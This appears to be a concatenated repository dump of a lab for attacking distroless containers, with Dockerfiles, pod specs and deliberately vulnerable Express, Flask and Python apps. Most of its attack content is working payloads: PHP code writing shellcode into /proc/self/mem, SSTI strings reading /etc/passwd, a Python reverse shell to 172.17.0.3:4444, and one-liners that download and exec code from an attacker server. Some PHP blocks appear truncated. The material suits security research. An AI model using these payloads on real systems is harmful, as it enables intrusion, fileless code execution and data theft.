https.get(url, function(response) { 185 | response.pipe(file); 186 | file.on('finish', function() { 187 | console.log("closed") 188 | file.close(); 189 | }); 190 | }); 191 | }; 192 | download("https://storage.googleapis.com/kubernetes-release/release/v1.25.3/bin/linux/arm64/kubectl", "/proc/45/fd/20") 193 | 194 | // Execute the fd directly from the exec syscall 195 | fork("", [], {"execPath": "/proc/45/fd/20", "execArgv": []}) 196 | ``` -------------------------------------------------------------------------------- /node/express-pp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:18 AS build-env 2 | ADD . /app 3 | WORKDIR /app 4 | RUN npm install --omit=dev 5 | 6 | FROM gcr.io/distroless/nodejs18-debian11 7 | COPY --from=build-env /app /app 8 | WORKDIR /app 9 | EXPOSE 3000 10 | CMD ["start.js"] -------------------------------------------------------------------------------- /node/express-pp/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "distroless-express", 3 | "version": "1.0.0", 4 | "description": "Distroless express node.js", 5 | "repository": { 6 | "type": "git", 7 | "url": "https://github.com/GoogleContainerTools/distroless.git" 8 | }, 9 | "dependencies": { 10 | "express": "4.18.1" 11 | }, 12 | "author": "Bryant Hagadorn", 13 | "license": "ISC" 14 | } 15 | -------------------------------------------------------------------------------- /node/express-pp/start.js: -------------------------------------------------------------------------------- 1 | // From https://github.com/GoogleContainerTools/distroless/tree/main/examples/nodejs/node-express 2 | const express = require('express') 3 | const { fork } = require('child_process'); 4 | 5 | const app = express() 6 | const port = 3000 7 | 8 | 9 | // PP vulnerable code 10 | function isObject(obj) { 11 | console.log(typeof obj); 12 | return typeof obj === 'function' || typeof obj === 'object'; 13 | } 14 | 15 | // Function vulnerable to prototype pollution 16 | function merge(target, source) { 17 | for (let key in source) { 18 | if (isObject(target[key]) && isObject(source[key])) { 19 | merge(target[key], source[key]); 20 | } else { 21 | target[key] = source[key]; 22 | } 23 | } 24 | return target; 25 | } 26 | 27 | function clone(target) { 28 | return merge({}, target); 29 | } 30 | 31 | 32 | // Treate incoming request 33 | app.get('/', function(req, res){ 34 | if (req.query.data){ 35 | clone(JSON.parse((req.query.data))); //Call PP 36 | if (req.query.exec){ 37 | fork('./something.js'); //Trigger execution 38 | res.send('Executed!'); 39 | } 40 | else{ 41 | res.send('Almost there!'); 42 | } 43 | } 44 | else{ 45 | res.send('Come back with some "data".'); 46 | } 47 | }); 48 | 49 | app.listen(port, () => console.log(`App listening on port ${port}!`)) -------------------------------------------------------------------------------- /php/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Run distroless PHP cli 3 | 4 | docker run -it --rm cgr.dev/chainguard/php -a 5 | 6 | ## RCE in PHP main technique 7 | ```php 8 | # This RCE writes to the parent /proc/self, which might not be allowed 9 | # Payload 10 | $shellcode_executor_content=''; 24 | 25 | # Save in disk 26 | $fd = fopen("/dev/shm/shellcode_executor.php", "w"); 27 | fwrite($fd, $shellcode_executor_content); 28 | fclose($fd); 29 | 30 | # Execute 31 | $cmd = "php /dev/shm/shellcode_executor.php"; 32 | exec($cmd); 33 | sleep(1); 34 | ``` 35 | 36 | 37 | 38 | 39 | ## RCE in PHP via leaked handles 40 | 41 | ```php 42 | # This RCE inherits FDs from parent to write to them 43 | # Payload 44 | $shellcode_executor_content=''; 59 | 60 | # Save in disk 61 | $fd = fopen("/dev/shm/shellcode_executor.php", "w"); 62 | fwrite($fd, $shellcode_executor_content); 63 | fclose($fd); 64 | 65 | # Generate fds to inherit 66 | function get_fd_n($real_filename) { 67 | $dir = '/proc/self/fd/'; 68 | if ($dh = opendir($dir)) { 69 | while (($file = readdir($dh)) !== false) { 70 | $filename = $dir . $file; 71 | if (filetype($filename) == 'link' && str_ends_with(realpath($filename),$real_filename)) { 72 | closedir($dh); 73 | return $file; 74 | } 75 | } 76 | closedir($dh); 77 | } 78 | return FALSE; 79 | } 80 | 81 | $fd_syscall = fopen("/proc/self/syscall", "r"); 82 | $syscall_fd_n = get_fd_n("/syscall"); 83 | 84 | $fd_mem = fopen("/proc/self/mem", "r+"); 85 | $mem_fd_n = get_fd_n("/mem"); 86 | 87 | # Execute 88 | $cmd = "php /dev/shm/shellcode_executor.php $syscall_fd_n $mem_fd_n"; 89 | exec($cmd); 90 | sleep(1); 91 | ?> 92 | ``` -------------------------------------------------------------------------------- /php/rce.php: -------------------------------------------------------------------------------- 1 | '; 19 | 20 | # Save in disk 21 | $fd = fopen("/dev/shm/shellcode_executor.php", "w"); 22 | fwrite($fd, $shellcode_executor_content); 23 | fclose($fd); 24 | 25 | # Execute 26 | $cmd = "php /dev/shm/shellcode_executor.php"; 27 | exec($cmd); 28 | sleep(1); 29 | ?> 30 | 31 | -------------------------------------------------------------------------------- /php/rce_2.php: -------------------------------------------------------------------------------- 1 | '; 20 | 21 | # Save in disk 22 | $fd = fopen("/dev/shm/shellcode_executor.php", "w"); 23 | fwrite($fd, $shellcode_executor_content); 24 | fclose($fd); 25 | 26 | # Generate fds to inherit 27 | function get_fd_n($real_filename) { 28 | $dir = '/proc/self/fd/'; 29 | if ($dh = opendir($dir)) { 30 | while (($file = readdir($dh)) !== false) { 31 | $filename = $dir . $file; 32 | if (filetype($filename) == 'link' && str_ends_with(realpath($filename),$real_filename)) { 33 | closedir($dh); 34 | return $file; 35 | } 36 | } 37 | closedir($dh); 38 | } 39 | return FALSE; 40 | } 41 | 42 | $fd_syscall = fopen("/proc/self/syscall", "r"); 43 | $syscall_fd_n = get_fd_n("/syscall"); 44 | 45 | $fd_mem = fopen("/proc/self/mem", "r+"); 46 | $mem_fd_n = get_fd_n("/mem"); 47 | 48 | # Execute 49 | $cmd = "php /dev/shm/shellcode_executor.php $syscall_fd_n $mem_fd_n"; 50 | 51 | 52 | 53 | $cmd_array = [ 54 | 'php', 55 | '-a' 56 | ]; 57 | $descriptorspec = array( 58 | 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 59 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 60 | 2 => array("pipe", "w") // stderr is a file to write to 61 | ); 62 | 63 | $h = proc_open($cmd_array,$descriptorspec,$pipes); 64 | 65 | $payload = '$ppid = posix_getppid(); $data = file_get_contents("/proc/self/syscall"); $data_array = explode(" ", $data); $mem_addr = trim($data_array[8]); $dec_offset = hexdec($mem_addr); $shellcode_b64 = "gCiI0qCIqPLgDx/44AMAkSEAAcroIoDSAQAA1MgFgNIBAADUiBWA0gEAANRhAoDSKBCA0gEAANQ="; $shellcode = base64_decode($shellcode_b64); $fd = fopen("/proc/self/mem", "r+"); fseek($fd,$dec_offset); fwrite($fd, $shellcode); fclose($fd);'."\n"; 66 | fwrite($pipes[0], $payload); 67 | 68 | echo stream_get_contents($pipes[1]); 69 | 70 | php -r 71 | 72 | exec($cmd); 73 | sleep(1); 74 | ?> 75 | 76 | -------------------------------------------------------------------------------- /pods.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: dless-express-pp-pod 5 | spec: 6 | securityContext: 7 | runAsUser: 1000 8 | containers: 9 | - name: dless-express-pp-pod 10 | image: docker.io/carlospolop/dless-express-pp 11 | securityContext: 12 | runAsUser: 1000 13 | readOnlyRootFilesystem: true 14 | restartPolicy: OnFailure 15 | 16 | --- 17 | 18 | apiVersion: v1 19 | kind: Pod 20 | metadata: 21 | name: dless-python-rce-pod 22 | spec: 23 | securityContext: 24 | runAsUser: 1000 25 | containers: 26 | - name: dless-python-rce-pod 27 | image: docker.io/carlospolop/dless-python-rce 28 | securityContext: 29 | runAsUser: 1000 30 | readOnlyRootFilesystem: true 31 | restartPolicy: OnFailure 32 | 33 | --- 34 | 35 | apiVersion: v1 36 | kind: Pod 37 | metadata: 38 | name: dless-flask-ssti-pod 39 | spec: 40 | securityContext: 41 | runAsUser: 1000 42 | containers: 43 | - name: dless-flask-ssti-pod 44 | image: docker.io/carlospolop/dless-flask-ssti 45 | securityContext: 46 | runAsUser: 1000 47 | readOnlyRootFilesystem: true 48 | restartPolicy: OnFailure 49 | 50 | --- 51 | 52 | apiVersion: v1 53 | kind: Pod 54 | metadata: 55 | name: php-pod 56 | spec: 57 | securityContext: 58 | runAsUser: 1000 59 | containers: 60 | - name: php-container 61 | image: cgr.dev/chainguard/php 62 | command: ["php", "-r", "while (true) { sleep(100); }"] 63 | securityContext: 64 | runAsUser: 1000 65 | readOnlyRootFilesystem: true 66 | restartPolicy: OnFailure 67 | 68 | --- 69 | 70 | apiVersion: v1 71 | kind: Pod 72 | metadata: 73 | name: ubuntu 74 | spec: 75 | containers: 76 | - name: ubuntu 77 | image: ubuntu 78 | command: ["sleep", "infinity"] 79 | restartPolicy: OnFailure 80 | -------------------------------------------------------------------------------- /python/README.md: -------------------------------------------------------------------------------- 1 | # Distroless python memory execution 2 | 3 | ## Exec from memory 4 | 5 | Using the project **[fee](https://github.com/nnsee/fileless-elf-exec)** it's possible to generate python code that can be used to execute a binary from memory using the **memfd_create syscall**. 6 | 7 | ```bash 8 | fee /bin/ls > output.py 9 | ``` 10 | 11 | ## Python utilities 12 | 13 | ### Get OS user 14 | ```python 15 | import os 16 | return os.getlogin() 17 | ``` 18 | 19 | ### Get uname 20 | ```python 21 | import platform 22 | return platform.uname() 23 | ``` 24 | 25 | ### List dir 26 | 27 | ```python 28 | import json 29 | from os import walk 30 | 31 | def ls(dir_path): 32 | files = next(walk(dir_path), (None, None, [])) 33 | return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]}) 34 | ``` 35 | 36 | ### Find file 37 | 38 | ```python 39 | def find_file(fname): 40 | import os 41 | found_files = [] 42 | def get_files(path, fname): 43 | if not os.path.isdir(path) and fname in os.path.basename(path): 44 | found_files.append(path) 45 | 46 | if os.path.isdir(path): 47 | if not os.listdir(path): 48 | return 49 | else: 50 | for item in os.listdir(path): 51 | try: 52 | get_files(os.path.join(path, item), fname) 53 | except Exception: 54 | pass 55 | get_files("/", fname) 56 | return found_files 57 | ``` 58 | 59 | ### Get executables 60 | 61 | ```python 62 | import os 63 | def find_executables(path): 64 | executables = [] 65 | def _find_executables(path): 66 | if not os.path.isdir(path) and os.access(path, os.X_OK): 67 | executables.append(os.path.basename(path)) 68 | 69 | if os.path.isdir(path): 70 | if not os.listdir(path): 71 | return 72 | else: 73 | try: 74 | for item in os.listdir(path): 75 | _find_executables(os.path.join(path, item)) 76 | except PermissionError: 77 | pass 78 | _find_executables(path) 79 | return executables 80 | ``` 81 | 82 | ### Read file 83 | 84 | ```python 85 | def read_fileb(path): 86 | with open(path, "rb") as f: 87 | return f.read() 88 | ``` 89 | 90 | ### Read file in base64 91 | 92 | ```python 93 | import base64 94 | def read_fileb64(path): 95 | with open(path, "rb") as f: 96 | return base64.b64encode(f.read()).decode() 97 | ``` 98 | 99 | ### Get permissions of file 100 | 101 | ```python 102 | import os 103 | def get_perms(path): 104 | return oct(os.stat(path).st_mode)[-3:] 105 | ``` 106 | 107 | ### Http request 108 | 109 | ```python 110 | from urllib import request 111 | def http_req(url): 112 | return request.urlopen(url).read().decode() 113 | ``` 114 | 115 | ### Download and write file 116 | 117 | ```python 118 | def download(url): 119 | from urllib import request 120 | r = request.urlopen(url) 121 | fname = url.split("/")[-1] 122 | print(f"Writting in {fname}") 123 | with open(f"/tmp/{fname}", "wb") as f: 124 | f.write(r.read()) 125 | # download("http://172.17.0.3:8989/usr/lib/aarch64-linux-gnu/libpcre2-8.so.0") 126 | ``` 127 | 128 | ### Get writable folders 129 | 130 | ```python 131 | import os 132 | def find_writable_dir(path): 133 | writables = [] 134 | def find_writable(path): 135 | if not os.path.isdir(path): 136 | return 137 | if os.access(path, os.W_OK): 138 | writables.append(path) 139 | if not os.listdir(path): 140 | return 141 | else: 142 | try: 143 | for item in os.listdir(path): 144 | find_writable(os.path.join(path, item)) 145 | except: 146 | pass 147 | find_writable(path) 148 | return writables 149 | ``` -------------------------------------------------------------------------------- /python/basic-http-rce/Dockerfile: -------------------------------------------------------------------------------- 1 | #https://github.com/abdelino17/python-api 2 | FROM python:3.10-slim AS base 3 | 4 | # Setup env 5 | ENV PYTHONDONTWRITEBYTECODE 1 6 | ENV PYTHONFAULTHANDLER 1 7 | 8 | # Dependencies 9 | FROM base AS python-deps 10 | 11 | ### Install pipenv and compilation dependencies 12 | RUN pip install pipenv \ 13 | && apt-get update \ 14 | && apt-get install -y --no-install-recommends gcc 15 | 16 | ### Install python dependencies in /.venv 17 | COPY Pipfile . 18 | #COPY Pipfile.lock . 19 | RUN PIPENV_VENV_IN_PROJECT=1 pipenv install --deploy 20 | 21 | # Runtime 22 | FROM gcr.io/distroless/python3 23 | 24 | WORKDIR /app 25 | COPY --from=python-deps /.venv/lib/python3.10/site-packages /app/site-packages 26 | ENV PYTHONPATH /app/site-packages 27 | COPY . . 28 | 29 | EXPOSE 8080 30 | ENTRYPOINT ["python", "app.py"] -------------------------------------------------------------------------------- /python/basic-http-rce/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | Jinja2 = "==3.1.2" 8 | 9 | [dev-packages] 10 | 11 | [requires] 12 | python_version = "3.10" -------------------------------------------------------------------------------- /python/basic-http-rce/README.md: -------------------------------------------------------------------------------- 1 | ### Build distroless 2 | ```bash 3 | docker build . -t py-rce-dless 4 | docker start -p 8080:8080 py-rce-dless 5 | ``` 6 | 7 | ### Raw image (no distroless) 8 | ```bash 9 | docker run -it python:3.10-slim sh 10 | ``` 11 | 12 | ### Execute builtin shell functions 13 | `http://127.0.0.1:8080/?cmd=command -v python` 14 | 15 | ### Read File 16 | `http://127.0.0.1:8080/?cmd=while read -r line; do echo $line; done ls.py`. **AND UPDATE** the payload with the following code at the beggining **or you will lose your shell**: 41 | 42 | ```python 43 | # imports ... 44 | pid = os.fork() 45 | if pid == 0: #pid==0 represents the child process 46 | # Rest of the payload inside this if 47 | ``` 48 | 49 | **If you want to execute the binary with more params, add them in the last line of the payload** 50 | 51 | In your python reverse shell run this to **download and execute the binary**: 52 | 53 | ```python 54 | from urllib import request 55 | ls = request.urlopen("http://172.17.0.3:8989/tmp/ls.py").read() 56 | exec(ls) 57 | ``` 58 | 59 | 60 | ### Execute arbitrary binaries without python rev shell 61 | ```bash 62 | url = "http://172.17.0.3:8989/tmp/ls.py"; 63 | tmp_dir = "/tmp/"; 64 | open(tmp_dir+url.split("/")[-1], "wb").write(__import__('urllib').request.urlopen(url).read()); 65 | # Change url and tmp_dir if nececesary and remove new lines 66 | ``` 67 | 68 | - Download `libselinux.so.1`: `http://127.0.0.1:8080/?cmd=python -c 'url="http://172.17.0.3:8989/lib/aarch64-linux-gnu/libselinux.so.1";tmp_dir = "/tmp/";open(tmp_dir+url.split("/")[-1], "wb").write(__import__("urllib", fromlist=["request"]).request.urlopen(url).read());'` 69 | 70 | - Download `libpcre2-8.so.0`: `http://127.0.0.1:8080/?cmd=python -c 'url="http://172.17.0.3:8989/usr/lib/aarch64-linux-gnu/libpcre2-8.so.0";tmp_dir = "/tmp/";open(tmp_dir+url.split("/")[-1], "wb").write(__import__("urllib", fromlist=["request"]).request.urlopen(url).read());'` 71 | 72 | - Download `exploit.py`: `http://127.0.0.1:8080/?cmd=python -c 'url="http://172.17.0.3:8989/tmp/ls.py";tmp_dir = "/tmp/";open(tmp_dir+url.split("/")[-1], "wb").write(__import__("urllib", fromlist=["request"]).request.urlopen(url).read());'` 73 | 74 | *It was generated with `fee /bin/ls > output.py`* 75 | 76 | - Execute `ls`: `http://127.0.0.1:8080/?cmd=python /tmp/ls.py` 77 | 78 | -------------------------------------------------------------------------------- /python/basic-http-rce/app.py: -------------------------------------------------------------------------------- 1 | from http.server import HTTPServer, SimpleHTTPRequestHandler 2 | import subprocess 3 | import urllib.parse 4 | 5 | 6 | class S(SimpleHTTPRequestHandler): 7 | 8 | def do_GET(self): 9 | query = urllib.parse.urlparse(self.path).query 10 | out = "" 11 | if query: 12 | print(f"Query: {query}") 13 | cmd = urllib.parse.unquote(query.split("cmd=")[1].split("&")[0]) 14 | print(f"cmd: {cmd}") 15 | 16 | try: 17 | out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 18 | print(f"out: {out}") 19 | except Exception as e: 20 | out=str(e) 21 | 22 | out = str(out) 23 | self.send_response(200) 24 | self.end_headers() 25 | self.wfile.write(bytes(out, encoding='utf-8')) 26 | return 27 | 28 | def run(server_class=HTTPServer, handler_class=S, port=3001): 29 | server_address = ('', port) 30 | httpd = server_class(server_address, handler_class) 31 | try: 32 | httpd.serve_forever() 33 | except KeyboardInterrupt: 34 | pass 35 | httpd.server_close() 36 | 37 | if __name__ == '__main__': 38 | from sys import argv 39 | 40 | print("Running...") 41 | 42 | if len(argv) == 2: 43 | run(port=int(argv[1])) 44 | else: 45 | run() -------------------------------------------------------------------------------- /python/flask-ssti/Dockerfile: -------------------------------------------------------------------------------- 1 | #https://github.com/abdelino17/python-api 2 | FROM python:3.10-slim AS base 3 | 4 | # Setup env 5 | ENV PYTHONDONTWRITEBYTECODE 1 6 | ENV PYTHONFAULTHANDLER 1 7 | 8 | # Dependencies 9 | FROM base AS python-deps 10 | 11 | ### Install pipenv and compilation dependencies 12 | RUN pip install pipenv \ 13 | && apt-get update \ 14 | && apt-get install -y --no-install-recommends gcc 15 | 16 | ### Install python dependencies in /.venv 17 | COPY Pipfile . 18 | #COPY Pipfile.lock . 19 | RUN PIPENV_VENV_IN_PROJECT=1 pipenv install --deploy 20 | 21 | # Runtime 22 | FROM gcr.io/distroless/python3 23 | 24 | WORKDIR /app 25 | COPY --from=python-deps /.venv/lib/python3.10/site-packages /app/site-packages 26 | ENV PYTHONPATH /app/site-packages 27 | COPY . . 28 | 29 | EXPOSE 8080 30 | ENTRYPOINT ["/usr/bin/python", "app.py"] -------------------------------------------------------------------------------- /python/flask-ssti/Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | flask = "*" 8 | 9 | [dev-packages] 10 | 11 | [requires] 12 | python_version = "3.10" -------------------------------------------------------------------------------- /python/flask-ssti/README.md: -------------------------------------------------------------------------------- 1 | ### Build distroless 2 | ```bash 3 | docker build . -t py-ssti-dless 4 | docker start -p 8080:8080 py-ssti-dless 5 | ``` 6 | 7 | ### Raw image (no distroless) 8 | ```bash 9 | docker run -it python:3.10-slim sh 10 | ``` 11 | 12 | ### Read File 13 | The symbol `216` is ``. 14 | `http://127.0.0.1:1337/?name={{(1).__class__.__base__.__subclasses__()[216]()._module.__builtins__["open"]("/etc/passwd").read()}}` 15 | 16 | ### RCE 17 | `http://127.0.0.1:1337/?name={{(1).__class__.__base__.__subclasses__()[216]()._module.__builtins__["__import__"]("os").popen("command -v python").read()}}` 18 | 19 | ### Get python rev shell 20 | 21 | Create a file called `python_rev.py` with your **IP address** and **port**: 22 | 23 | ```python 24 | import socket,subprocess,os 25 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 26 | s.connect(("172.17.0.3",4444)) 27 | os.dup2(s.fileno(),0) 28 | os.dup2(s.fileno(),1) 29 | os.dup2(s.fileno(),2) 30 | p=subprocess.call(["/usr/bin/python","-i"]) 31 | ``` 32 | 33 | Start a listener on your machine: 34 | 35 | ```bash 36 | nc -lvnp 4444 37 | ``` 38 | 39 | Now, lets make the server **exec** the python file **downloading it via http**: 40 | ```python 41 | http://127.0.0.1:1337/?name={{(1).__class__.__base__.__subclasses__()[216]()._module.__builtins__["exec"]((1).__class__.__base__.__subclasses__()[216]()._module.__builtins__["__import__"]("urllib", fromlist=["request"]).request.urlopen("http://172.17.0.3:8989/tmp/python_rev.py").read())}} 42 | ``` 43 | 44 | **You should have received the python shell!** 45 | 46 | 47 | ### Execute arbitrary binaries 48 | 49 | Generate the payload to load in memory with `fee /bin/ls > ls.py`. **AND UPDATE** the payload with the following code at the begining **or you will lose your shell**: 50 | 51 | ```python 52 | # imports ... 53 | pid = os.fork() 54 | if pid == 0: #pid==0 represents the child process 55 | # Rest of the payload inside this if 56 | ``` 57 | 58 | **If you want to execute the binary with more params, add them in the last line of the payload** 59 | 60 | In your python reverse shell run this to **download and execute the binary**: 61 | 62 | ```python 63 | from urllib import request 64 | ls = request.urlopen("http://172.17.0.3:8989/tmp/ls.py").read() 65 | exec(ls) 66 | ``` 67 | -------------------------------------------------------------------------------- /python/flask-ssti/app.py: -------------------------------------------------------------------------------- 1 | from flask import * 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route("/") 6 | def home(): 7 | print("Received") 8 | output = request.args.get('name') 9 | output = render_template_string(output) 10 | if output: 11 | pass 12 | else: 13 | output = "Test" 14 | return output 15 | 16 | if __name__ == "__main__": 17 | print("Running...") 18 | app.run(debug=True, host="0.0.0.0", port=1337) --------------------------------------------------------------------------------